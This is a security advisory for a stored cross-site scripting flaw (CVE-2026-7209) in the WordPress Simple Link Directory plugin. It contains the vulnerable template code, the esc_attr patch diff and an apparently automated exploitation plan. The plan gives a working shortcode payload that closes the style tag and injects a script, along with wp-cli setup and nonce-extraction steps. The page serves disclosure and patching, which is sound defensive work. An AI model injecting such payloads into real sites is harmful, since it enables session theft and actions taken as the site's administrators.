CVE-2026-7209

Simple Link Directory <= 8.9.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
8.9.4
Patched in
1d
Time to patch

Description

The Simple Link Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `qcopd-directory` shortcode in all versions up to, and including, 8.9.2. This is due to insufficient input sanitization and output escaping on user supplied attributes such as `title_font_size`. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=8.9.2
PublishedMay 1, 2026
Last updatedMay 2, 2026
Affected pluginsimple-link-directory

What Changed in the Fix

Changes introduced in v8.9.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-7209 ## 1. Vulnerability Summary The **Simple Link Directory** plugin (<= 8.9.2) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `[qcopd-directory]` shortcode. Specifically, several attributes such as `title_font_size`, `subtitle_font_size`, `t…

Show full research plan

Exploitation Research Plan - CVE-2026-7209

1. Vulnerability Summary

The Simple Link Directory plugin (<= 8.9.2) is vulnerable to Stored Cross-Site Scripting (XSS) via the [qcopd-directory] shortcode. Specifically, several attributes such as title_font_size, subtitle_font_size, title_line_height, and subtitle_line_height are passed directly into CSS blocks via the WordPress function wp_add_inline_style without sufficient sanitization or escaping. This allows an authenticated attacker (Contributor level or higher) to inject arbitrary HTML and JavaScript by breaking out of the <style> context.

2. Attack Vector Analysis

  • Endpoint: The standard WordPress post/page editor.
  • Shortcode: [qcopd-directory]
  • Vulnerable Parameter: Shortcode attributes, specifically title_font_size.
  • Authentication Level: Authenticated (Contributor+). Contributors can create posts/pages and use shortcodes but cannot publish them without approval. However, the XSS will execute for any user (including Administrators) who previews the draft or views the published post.
  • Precondition: At least one "Link Directory" (custom post type sld) must exist for the shortcode to process the template files containing the vulnerability.

3. Code Flow

  1. Registration: The shortcode is registered in qc-op-directory-shortcodes.php:
    add_shortcode('qcopd-directory', 'qcopd_directory_full_shortcode');
    
  2. Processing: qcopd_directory_full_shortcode calls show_qcopd_full_list($atts).
  3. Extraction: show_qcopd_full_list uses extract(shortcode_atts(...)) to populate variables like $title_font_size and $style.
  4. Template Loading: Depending on the style attribute (default: simple), the plugin includes a template file (e.g., templates/simple/template.php).
  5. Vulnerable Sink: Inside templates/simple/template.php, the $title_font_size variable is used to construct a CSS string for wp_add_inline_style:
    $customcss = '';
    $customcss .= '#list-item-'.$listId .'-'. get_the_ID().'.simple ul li a{';
    if($title_font_size!=''){
        $customcss .= 'font-size:'.$title_font_size.';';
    }
    // ...
    wp_add_inline_style( 'sld-css-simple', $customcss );
    
  6. Rendering: WordPress outputs the contents of $customcss inside a <style> block. An attacker can use </style> to close the block and inject a <script> tag.

4. Nonce Acquisition Strategy

Since this is an authenticated Stored XSS vulnerability performed via the WordPress post editor, the attacker needs a standard WordPress post nonce and cookie to create/edit a post.

  1. Log in as a Contributor.
  2. Navigate to wp-admin/post-new.php.
  3. Extract the _wpnonce from the HTML form:
    • browser_eval("document.querySelector('#_wpnonce').value")
  4. Use this nonce in the http_request to save the post containing the malicious shortcode.

5. Exploitation Strategy

  1. Identify Target: Ensure at least one sld (Link Directory) post exists.
  2. Craft Payload: Create a shortcode attribute that breaks the CSS and style tag:
    • title_font_size='20px; } </style><script>alert(document.domain)</script>'
  3. Inject Shortcode: Create a new page/post with the following content:
    • [qcopd-directory style="simple" title_font_size='20px; } </style><script>alert(document.domain)</script>']
  4. Trigger Execution: Access the permalink of the post (or the preview URL if only saved as a draft).

6. Test Data Setup

Before exploitation, the environment must be prepared using wp-cli:

  1. Create Contributor User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  2. Create a Link Directory (sld) post: (The shortcode requires at least one list to exist to trigger the template rendering logic).
    wp post create --post_type=sld --post_title="Test Directory" --post_status=publish
    

7. Expected Results

When the page containing the shortcode is loaded:

  1. The WordPress engine processes the [qcopd-directory] shortcode.
  2. The plugin enqueues the sld-css-simple stylesheet.
  3. The plugin calls wp_add_inline_style with the payload.
  4. The HTML response will contain:
    <style id='sld-css-simple-inline-css' type='text/css'>
    ... font-size:20px; } </style><script>alert(document.domain)</script>;}
    </style>
    
  5. The browser executes alert(document.domain).

8. Verification Steps

  1. Verify Post Content: Use wp-cli to check the stored shortcode:
    wp post get [POST_ID] --field=post_content
    
  2. Verify Source Output: Use http_request to fetch the page and grep for the broken style tag:
    http_request GET "http://localhost:8080/?p=[POST_ID]" | grep "</style><script>alert"
    

9. Alternative Approaches

  • Other Attributes: If title_font_size is sanitized in a specific environment, try subtitle_font_size, title_line_height, or subtitle_line_height across different styles (e.g., style="style-1").
  • Other Styles: The vulnerability exists in multiple template files:
    • templates/simple/template.php
    • templates/style-1/template.php
    • templates/style-16/template.php
  • CSS-Based XSS: In some modern browsers, if <script> is filtered, one could attempt XSS via background-image: url("javascript:...") or similar CSS vectors, although this is largely mitigated in modern engines compared to the <style> breakout.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Simple Link Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the [qcopd-directory] shortcode. Authenticated attackers with Contributor-level permissions or higher can inject arbitrary scripts into pages by using crafted shortcode attributes, such as title_font_size, which are inserted into inline CSS blocks without sanitization or escaping.

Vulnerable Code

/* templates/simple/template.php lines 53-62 */
		<?php if( $style == "simple" ): 
			$customcss = '';
			$customcss .= '#list-item-'.$listId .'-'. get_the_ID().'.simple ul li a{';
			if($title_font_size!=''){
				$customcss .= 'font-size:'.$title_font_size.';';
			}
			if($title_line_height!=''){
				$customcss .= 'line-height:'.$title_line_height.';';
			}
			$customcss .= '}';
			wp_add_inline_style( 'sld-css-simple', $customcss );
		?>

---

/* templates/style-1/template.php lines 105-122 */
		<?php if( $style == "style-1" ) : 
		
		$customcss = '';
		$customcss .= '#qcopd-list-'.$listId .'-'. get_the_ID().'.style-1 .ca-menu li .ca-main {';
		if($title_font_size!=''){
			$customcss .= 'font-size:'.$title_font_size.' !important;';
		}
		if($title_line_height!=''){
			$customcss .= 'line-height:'.$title_line_height.' !important;';
		}
		$customcss .= '}';
		$customcss .= '#qcopd-list-'. $listId .'-'. get_the_ID().'.style-1 .ca-menu li .ca-sub {';
		if($subtitle_font_size!=''){
			$customcss .= 'font-size:'. $subtitle_font_size.' !important;';
		}
		if($subtitle_line_height!=''){
			$customcss .= 'line-height:'. $subtitle_line_height.'!important;';
		}
		$customcss .= '}';
		wp_add_inline_style( 'sld-css-style-1', $customcss );
		?>

Security Fix

--- templates/simple/template.php
+++ templates/simple/template.php
@@ -55,10 +55,10 @@
 			$customcss = '';
 			$customcss .= '#list-item-'.$listId .'-'. get_the_ID().'.simple ul li a{';
 			if($title_font_size!=''){
-				$customcss .= 'font-size:'.$title_font_size.';';
+				$customcss .= 'font-size:'.esc_attr($title_font_size).';';
 			}
 			if($title_line_height!=''){
-				$customcss .= 'line-height:'.$title_line_height.';';
+				$customcss .= 'line-height:'.esc_attr($title_line_height).';';
 			}
 			$customcss .= '}';
 			wp_add_inline_style( 'sld-css-simple', $customcss );
--- templates/style-1/template.php
+++ templates/style-1/template.php
@@ -107,20 +107,20 @@
 		$customcss = '';
 		$customcss .= '#qcopd-list-'.$listId .'-'. get_the_ID().'.style-1 .ca-menu li .ca-main {';
 		if($title_font_size!=''){
-			$customcss .= 'font-size:'.$title_font_size.' !important;';
+			$customcss .= 'font-size:'.esc_attr($title_font_size).' !important;';
 		}
 		if($title_line_height!=''){
-			$customcss .= 'line-height:'.$title_line_height.' !important;';
+			$customcss .= 'line-height:'.esc_attr($title_line_height).' !important;';
 		}
 		$customcss .= '}';
 		$customcss .= '#qcopd-list-'. $listId .'-'. get_the_ID().'.style-1 .ca-menu li .ca-sub {';
 		if($subtitle_font_size!=''){
-			$customcss .= 'font-size:'. $subtitle_font_size.' !important;';
+			$customcss .= 'font-size:'.esc_attr($subtitle_font_size).' !important;';
 		}
 		if($subtitle_line_height!=''){
-			$customcss .= 'line-height:'. $subtitle_line_height.'!important;';
+			$customcss .= 'line-height:'.esc_attr($subtitle_line_height).'!important;';
 		}
 		$customcss .= '}';
 		wp_add_inline_style( 'sld-css-style-1', $customcss );

Exploit Outline

1. Obtain Contributor-level credentials (or higher) to a WordPress site using the Simple Link Directory plugin. 2. Ensure at least one 'Link Directory' (sld post type) exists, as the vulnerable template logic only triggers when a directory list is being rendered. 3. Create or edit a WordPress post and insert the [qcopd-directory] shortcode. 4. Set a malicious payload for the 'title_font_size' (or other similar font/height attributes) that closes the CSS block and style tag, then executes arbitrary JavaScript. Payload example: [qcopd-directory style="simple" title_font_size="20px; } </style><script>alert(document.domain)</script>"] 5. Save the post as a draft or publish it. The XSS will execute for any user (including administrators) who previews or views the post, allowing the attacker to potentially capture cookies or perform actions on behalf of the victim.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.